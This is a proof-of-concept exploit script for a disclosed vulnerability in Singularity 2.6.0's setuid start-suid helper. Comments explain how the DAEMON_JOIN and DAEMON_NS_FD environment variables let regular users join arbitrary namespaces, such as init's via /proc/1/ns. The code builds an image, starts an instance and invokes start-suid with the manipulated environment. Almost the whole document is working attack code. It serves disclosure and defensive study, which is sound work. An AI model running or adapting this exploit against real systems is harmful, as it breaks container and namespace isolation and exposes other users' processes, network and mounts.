#!/usr/bin/python2 # Matthias Gerstner (SUSE Linux GmbH) # mgerstner@suse.de # # Proof of Concept that shows that the singularity version 2.6.0 start-suid # program allows regular users to join arbitrary ipc, mnt, net and pid # namespaces. # # The key to this is using the DAEMON_JOIN=1 and DAEMON_NS_FD= environment # variables. The latter refers to a directory in which the ipc, mnt, net and # pid files refering to namespaces are expected. openat() with effective uid 0 # is used on them, symlinks are followed and setns() is called on them in the # end, leading to the final "container" process to reside in arbitrary # namespaces. # # This PoC first builds a new image that contains a startscript that writes # namespace related information into a directory in $HOME/nslogs. Therefore # the PoC only works if the home directory of the caller is mapped in the # target mount namespace. # # A regular daemon instance of the container image is first started that runs # "sleep 1d" as a "daemon". Then a second start-suid is issued with the # manipulated environment variables. The startscript will be run and the # namespace log information is written once more to ~/nslogs. # # By passing e.g. /proc/1/ns as a parameter, the PoC will attach to # init's (systemd's) namespaces and show its network, process IPC, PID and # mount information. # # You can also arbitrarily mix namespaces by creating a user controlled # directory and place symlinks in it: # # $ mkdir ~/myns # $ cd ~/myns # $ ln -s /proc/1/ns/ipc # $ ln -s /proc/2/ns/net # $ ln -s /proc/3/ns/pid # $ ln -s /proc/4/ns/mnt # $ ~/join_ns.py ~/myns from __future__ import print_function import subprocess import os, sys import socket import argparse import fcntl workdir = os.path.expanduser("~/singularity") instance_name = "ubuntu1" image_base = "ubuntu" image_def = "{}.def".format(image_base) image_file = "{}.img".format(image_base) null = open("/dev/null", 'w') parser = argparse.ArgumentParser( description = "Proof of concept showing that we can join arbitrary namespaces via singularity setuid binaries" ) parser.add_argument("PATH", help = "Path to the /proc//ns directory to use for joining namespaces") args = parser.parse_args() def buildImage(): with open('ubuntu.def', 'w') as def_fd: def_fd.write( """ Bootstrap: docker From: ubuntu:16.04 Includecmd: no %startscript # write namespace related information to files in $HOME /bin/mkdir ~/nslogs /bin/ps ax >~/nslogs/ps.log /usr/bin/ipcs >~/nslogs/ipc.log /bin/cat /proc/mounts >~/nslogs/mount.log /bin/ls -l /sys/class/net >~/nslogs/net.log # this is the "daemon", just sleeping for a day /bin/bash -c "sleep 1d" """) print("Building example image. This requires root privs.\n\n") subprocess.check_call( ["sudo", "singularity", "build", "ubuntu.img", "ubuntu.def"], close_fds = True, shell = False ) print("\n\n") def startInstance(name): res = subprocess.call(["singularity", "instance", "list", name], stdout = null) if res == 0: print("Singularity Instance {} is already running. Should I reuse it?".format(name)) while True: print("(y/n)? > ", end = '') sys.stdout.flush() answer = sys.stdin.readline().strip() if answer not in ("y", "n"): continue if answer == "n": sys.exit(1) return subprocess.check_call(["singularity", "instance.start", image_file, name], close_fds = True) print("Started instance", name) def getDaemonName(daemon_file): daemon_pid = None with open(daemon_file, 'r') as df_fd: for line in df_fd.readlines(): var, val = line.strip().split('=', 1) if var == "DAEMON_PID": daemon_pid = int(val) break if not daemon_pid: print("Failed to determine background daemon PID", file = sys.stderr) sys.exit(1) with open("/proc/{}/cmdline".format(daemon_pid), 'r') as cmdline_fd: daemon_name = cmdline_fd.read().split('\0')[0] # when running start-suid directly then we need to replace it's argv[0] by # this name for 'singularity instance list' to recognize it. return daemon_name if not "O_PATH" in dir(os): # is only found in python >= 3.4 os.O_PATH = 0x200000 if not os.path.isdir(workdir): os.makedirs( workdir ) os.chdir( workdir ) if not os.path.exists(image_file): buildImage() ns_fd = os.open(args.PATH, os.O_PATH|os.O_RDONLY) # starting from python 3.4 file descriptors are by default not inheritable # NOTE: there's some bug in this new logic it seems, it can't set # the ns_fd as inheritable. Using fcntl doesn't work and os.set_inheritable() # tries to use ioctl() on it which returns EBADF. # Therefore using python2 for this PoC. fcntl.fcntl(ns_fd, 0) startInstance(instance_name) daemon_file = os.path.expanduser("~/.singularity/daemon/{}/{}".format(socket.gethostname(), instance_name)) if not os.path.exists(daemon_file): print("Failed to find daemon file in ", daemon_file, file = sys.stderr) sys.exit(1) envvars = { "DAEMON_NAME": instance_name, "DAEMON_FILE": daemon_file, "IMAGE": image_file, "DAEMON_JOIN": "1", # needs to be set, otherwise start-suid segfaults "DAEMON_FD": "100", "DAEMON_NS_FD": str(ns_fd), } for var, val in envvars.items(): os.environ["SINGULARITY_{}".format(var)] = val # this should now run the startscript in the namespaces refered to by PATH, # creating log files in ~/nslogs showing the namespace contents. res = subprocess.call( [ "/usr/lib/singularity/bin/start-suid" ], # we need to inherit the DAEMON_NS_FD! close_fds = False )